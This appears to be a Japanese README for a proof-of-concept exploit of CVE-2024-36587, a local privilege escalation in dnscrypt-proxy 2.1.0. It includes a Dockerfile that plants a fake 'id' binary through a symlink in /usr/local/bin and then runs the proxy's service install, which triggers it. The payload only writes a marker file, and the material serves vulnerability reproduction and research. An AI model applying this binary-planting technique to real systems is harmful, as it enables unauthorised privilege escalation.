
バイナリプランティングによるdnscrypt-proxyのローカル権限昇格を実証するCVE-2024-36587の概念実証エクスプロイト。Dockerベースの再現環境を含む。
docker compose up --build
ビルドおよび実行が完了するとコンテナが作成される。
コンテナ内部へ接続:
docker run -it --privileged dnscrypt-poc-poc bash
コンテナ内で:
/tmp/id
cat /tmp/poc_was_here
Pwned_from_Docker が出力されれば PoC 成功。
FROM ubuntu:24.04
RUN apt-get update && apt-get install -y \
git \
golang-go \
sudo
WORKDIR /workspace
RUN git clone https://github.com/DNSCrypt/dnscrypt-proxy.git && \
cd dnscrypt-proxy && \
git checkout tags/2.1.0 && \
go build -o proxy ./dnscrypt-proxy
RUN bash -c 'echo -e "#!/bin/bash\necho Pwned_from_Docker > /tmp/poc_was_here" > /tmp/id' && \
chmod +x /tmp/id && \
ln -sf /tmp/id /usr/local/bin/id
CMD ["./dnscrypt-proxy/proxy", "-service", "install"]
version: "3.8"
services:
poc:
build: .
container_name: dnscrypt-poc
privileged: true
tty: true

より詳細な分析および実践結果は、以下の PDF 文書を参照されたい: